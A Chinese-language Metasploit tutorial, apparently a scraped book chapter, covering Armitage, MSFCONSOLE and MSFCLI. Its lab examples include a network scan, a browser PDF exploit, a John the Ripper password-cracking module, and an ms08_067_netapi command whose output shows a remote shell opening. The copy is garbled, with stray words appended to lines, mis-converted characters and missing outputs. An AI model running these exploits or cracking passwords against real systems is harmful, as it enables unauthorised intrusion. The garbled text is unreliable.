Metasploit是一款開源的安全漏洞檢測工具。它能夠幫助用戶識別安全問題,驗證漏洞的緩解措施,並對某些軟件進行安全性評估,提供真正的安全風險情報。當用戶第一次接觸Metasploit滲透測試框架軟件(MSF)時,可能會被它提供如此多的接口、選項、變量和模塊所震撼,而感受無所適從。Metasploit軟件爲它的基礎功能提供了多個用戶接口,包括終端、命令行和圖形化界面等。本節將介紹Metasploit下各類接口的使用方法。linux
Armitage組件是Metasploit框架中一個徹底交互式的圖形化用戶接口,由Raphael Mudge所開發。Armitage工具包含Metasploit控制檯,經過使用其標籤特性,用戶能夠看到多個Metasploit控制檯或多個Meterpreter會話。shell
使用Armitage工具。具體操做步驟以下所示。數據庫
(1)啓動Metasploit服務。在使用Armitage工具前,必須將Metasploit服務啓動。不然,沒法運行Armitage工具。由於Armitage須要鏈接到Metasploit服務,才能夠啓動。在Kali桌面依次選擇「應用程序」|Kali Linux|「系統服務」|Metasploit|community/pro start命令啓動Metasploit服務,將輸出以下所示的信息:windows
[ ok ] Starting PostgreSQL 9.1 database server: main. Configuring Metasploit… Creating metasploit database user 'msf3'… Creating metasploit database 'msf3'… insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5). insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).
從輸出的信息中能夠看到PostgreSQL 9.1數據庫服務已啓動,並建立了數據庫用戶和數據庫。api
(2)啓動Armitage工具。在Kali桌面依次選擇「應用程序」|Kali Linux|「漏洞利用工具集」|「網絡漏洞利用」|armitage命令,如圖6.3所示。或者在終端運行armitage命令啓動Armitage工具,以下所示:瀏覽器
root@kali:~# armitage
圖6.3 啓動armitage界面安全
(3)啓動armitage工具後,將顯示如圖6.4所示的界面。網絡
圖6.4 鏈接Metasploit界面session
(4)在該界面顯示了鏈接Metasploit服務的基本信息。在該界面單擊Connect按鈕,將顯示如圖6.5所示的界面。app
圖6.5 啓動Metasploit
(5)該界面提示是否要啓動Metasploit的RPC服務。單擊「是(Y)」按鈕,將顯示如圖6.6所示的界面。
圖6.6 鏈接Metasploit界面
(6)該界面顯示了鏈接Metasploit的一個進度。當成功鏈接到Metasploit服務的話,將顯示如圖6.7所示的界面。
圖6.7 Armitage初始界面
(7)該界面共有三個部分,這裏把它們分別標記爲A、B和C。下面分別介紹這三部分。
【實例6-1】演示使用Armitage工具作滲透測試。具體操做步驟以下所示。
(1)啓動Armitage工具,界面如圖6.7所示。從該界面能夠看到默認沒有掃描到任何主機。這裏經過掃描,找到本網絡中的全部主機。
(2)在Armitage工具的菜單欄中依次選擇Hosts|Nmap Scan|Quick Scan命令,將顯示如圖6.8所示的界面。
圖6.8 輸入掃描範圍
(3)在該界面輸入要掃描的網絡範圍,這裏輸入的網絡範圍是192.168.41.0/24。而後單擊「肯定」按鈕,將開始掃描。掃描完成後,將顯示如圖6.9所示的界面。
圖6.9 掃描結果
(4)從該界面能夠看到,彈出了一個掃描完成對話框,此時單擊「肯定」按鈕便可。而且在目標系統的窗口中,顯示了三臺主機。這三臺主機就是掃描到的主機。從掃描完成的對話框中能夠看到提示建議選擇Attacks|Find Attacks命令,將能夠滲透攻擊目標系統。
(5)在菜單欄中依次選擇Attacks|Find Attacks命令,運行完後將顯示如圖6.10所示的界面。
圖6.10 消息
(6)從該界面能夠看到攻擊分析完成,而且右擊掃描到的主機將會看到有一個Attack菜單,如圖6.11所示。
圖6.11 Attack菜單
(7)從該界面能夠看到在目標主機的菜單中出現了Attack選項,在該菜單中共有五個選項。在沒有運行Find Attacks命令前,只要Services、Scan和Host三個選項。這裏掃描到的主機屏幕都是黑色,這是由於尚未識別出操做系統的類型。此時能夠在菜單欄中依次選擇Hosts|Nmap Scan|Quick Scan(OS detect)命令,掃描操做系統類型。掃描完成後,將顯示操做系統的默認圖標。
(8)掃描操做系統。掃描完成後,將顯示如圖6.12所示的界面。
圖6.12 掃描的操做系統
(9)從該界面能夠看到掃描到的目標主機,屏幕發生了變化。此時就能夠選擇目標,進行滲透攻擊。
(10)此時,能夠在預配置模塊窗口選擇模塊滲透攻擊目標系統,如選擇滲透攻擊瀏覽器模塊。在預配置模塊中依次選擇exploit|windows|browser|adobe_cooltype_sing模塊,雙擊adobe_cooltype_sing模塊,將顯示如圖6.13所示的界面。
圖6.13 模塊配置選項
(11)該界面顯示了adobe_cooltype_sing模塊的默認配置選項信息。這些選項的默認值,能夠經過雙擊默認值修改。設置完成後,單擊Launch按鈕,在Armitage窗口將顯示如圖6.14所示的界面。
圖6.14 滲透攻擊結果
(12)從該界面能夠看到,使用adobe_cooltype_sing模塊滲透攻擊的過程。從最後的信息中能夠看到,滲透攻擊成功運行。之後某臺主機訪問http://192.168.41.235:8080/JEdB2oma7AEGV7G連接時,將會在目標主機上建立一個名爲JEdB2oma7AEGV7G的PDF文件。只要有目標主機訪問該連接,Armitage控制檯會話中將會顯示訪問的主機,如圖6.15所示。
圖6.15 攻擊信息
(13)從該界面能夠看到主機192.168.41.146,訪問了http://192.168.41.235:8080/JEdB2oma7AEGV7G連接。而且,能夠看到在主機192.168.41.146上建立了PDF文件。
MSF終端(MSFCONSOLE)是目前Metasploit框架最爲流行的用戶接口,並且也是很是靈活的。由於MSF終端是Metasploit框架中最靈活、功能最豐富及支持最好的工具之一。MSFCONSOLE主要用於管理Metasploit數據庫,管理會話、配置並啓動Metasploit模塊。本質上來講,就是爲了利用漏洞,MSFCONSOLE將獲取用戶鏈接到主機的信息,以致於用戶能啓動滲透攻擊目標系統。本小節將介紹Metasploit終端(MSFCONSOLE)。
當使用Metasploit控制檯時,用戶將使用一些通用的命令,以下所示。
MSFCONSOLE漏洞利用的具體操做步驟以下所示。
(1)在終端啓動MSFCONSOLE,執行命令以下所示:
root@kali:~# msfconsole
執行以上命令後,輸出信息以下所示:
輸出的信息出現msf>提示符,表示登陸MSFCONSOLE成功。此時就能夠在該命令行運行其餘任何命令。
(2)使用search命令搜索全部有效的Linux模塊。對於模塊用戶每次想要執行一個動做,這是一個很好的主意。主要緣由是Metasploit各類版本之間,模塊的路徑可能有改變。執行命令以下所示:
msf> search linux
執行以上命令後,輸出信息以下所示:
輸出的信息就是Metasploit中全部有效的模塊。輸出的信息顯示爲4列,分別表示模塊名稱、公開時間、等級及描述。以上輸出的內容較多,可是因爲篇幅的緣由,這裏只列出了一少部份內容,省略的內容使用省略號(……)代替。
(3)使用John Ripper linux密碼破解模塊。執行命令以下所示:
msf > use auxiliary/analyze/jtr_linux msf auxiliary(jtr_linux) >
輸出的信息表示已加載jtr_linux模塊。
(4)查看模塊的有效選項。執行命令以下所示:
從輸出結果中能夠看到jtr_linux模塊有5個有效的選項,如Crypt、JOHN_BASE、JOHE_PATH、Munge和Wordlist。在輸出的信息中,對這5個選項分別有詳細的描述。
(5)如今用戶有一個選項的列表,這些選項爲運行jtr_linux模塊。用戶能設置獨特的選項,使用set命令。設置JOHN_PATH選項,以下所示:
msf auxiliary(jtr_linux) > set JOHN_PATH /usr/share/metasploit- framework/data/john/ wordlists/password.lst JOHN_PATH => /usr/share/metasploit-framework/data/john/wordlists/ password.lst
(6)如今運行滲透攻擊,執行命令以下所示:
msf auxiliary(jtr_linux) > exploit
本小節將介紹Metasploit命令行接口(MSFCLI)。爲了完成Metasploit的攻擊任務,須要使用一個接口。MSFCLI恰好實現這個功能。爲了學習Metasploit或測試/寫一個新的滲透攻擊,MSFCLI是一個很好的接口。
MSF命令行和MSF終端爲Metasploit框架訪問提供了兩種大相徑庭的途徑,MSF終端以一種用戶友好的模式來提供交互方式,用於訪問軟件全部的功能特性,而MSFCLI則主要考慮腳本處理和與其餘命令行工具的互操做性。MSFCLI經常使用的命令以下所示。
MSF命令行MSFCLI的使用以下所示。
(1)啓動MSF命令行(MSFCLI)。啓動的過程須要一點時間,請耐心等待,這取決於用戶系統的速度。還要注意,隨着MSFCLI負載,可利用的有效列表將顯示出來。執行命令以下所示:
root@kali:~# msfcli [*] Please wait while we load the module tree…
(2)查看MSFCLI幫助文檔。執行命令以下所示:
以上輸出的信息顯示了msfcli命令的幫助文檔。經過查看這些幫助文檔,能夠了解一個模塊的使用說明和使用模式列表。
(3)爲了證實前面所說的幫助文檔信息。這裏將選擇A選項,顯示模塊的高級選項。執行命令以下所示:
以上信息顯示了xmas模塊的高級選項。輸出信息中對每一個選項都有3部分介紹,包括名稱、當前設置及描述信息。
(4)此外,用戶可使用S模式列出當前模塊的一個摘要信息。這個摘要模式是查看全部有效選項的一個很好的方法。大部分選項是可選的。可是爲了使用戶設置目標系統或端口,一般有些選項是必須的。啓動摘要模式滲透攻擊,執行命令以下所示:
以上信息爲xmas模塊的摘要信息。這些信息包括xmas模塊的名稱、位置、許可證、級別、提供商、基本選項及描述等。
(5)爲顯示滲透攻擊有效的選項列表,可使用O模式。該模式是用來配置滲透攻擊模塊的,每一個滲透攻擊模塊有一套不一樣的設置選項,也可能沒有。全部必須的選項必須是滲透攻擊容許執行以前設置。從下面的輸出信息中,能夠看到許多必須的選項默認已設置。若是是這樣,就不須要更新這些選項值了,除非用戶想要修改它。執行命令以下所示:
輸出的信息顯示了xmas模塊須要的配置選項,如BATCHSIZE、PORTS、RHOSTS、SNAPLEN、THREADS和TIMEOUT。
(6)用戶可使用E模式運行滲透攻擊測試。執行命令以下所示:
root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas E
【實例6-2】使用MSFCLI演示滲透攻擊,這裏以ms08_067_netapi模塊爲例。具體操做步驟以下所示。
(1)查看ms08_067_netapi模塊的配置參數選項。執行命令以下所示:
從輸出的信息中能夠看到該模塊有三個配置選項,分別是RHOST、RPORT和SMBPIPE。
(2)查看ms08_067_netapi模塊中可用的攻擊載荷。執行命令以下所示:
輸出的信息顯示了ms08_067_netapi模塊可用的攻擊載荷。該模塊能夠攻擊的載荷不少,因爲章節的緣由,中間部分使用省略號(……)取代了。
(3)這裏選擇使用shell_bind/tcp攻擊載荷進行滲透測試。以下所示:
root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.41.146 PAYLOAD= windows/shell/bind_tcp E [*] Initializing modules… RHOST => 192.168.41.146 PAYLOAD => windows/shell/bind_tcp [*] Started bind handler [*] Automatically detecting the target… [*] Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Chinese - Traditional [*] Selected Target: Windows XP SP0/SP1 Universal [*] Attempting to trigger the vulnerability… [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (267 bytes) to 192.168.41.146 [*] Command shell session 1 opened (192.168.41.156:60335 -> 192.168.41.146:4444) at 2014-06-06 10:12:06 +0800 Microsoft Windows XP [版本 5.1.2600] (C) 版權全部 1985-2001 Microsoft Corp. C:\WINDOWS\system32>
從輸出的信息中,能夠看到成功的從遠程系統上拿到了一個Windows命令行的Shell。這表示滲透攻擊成功。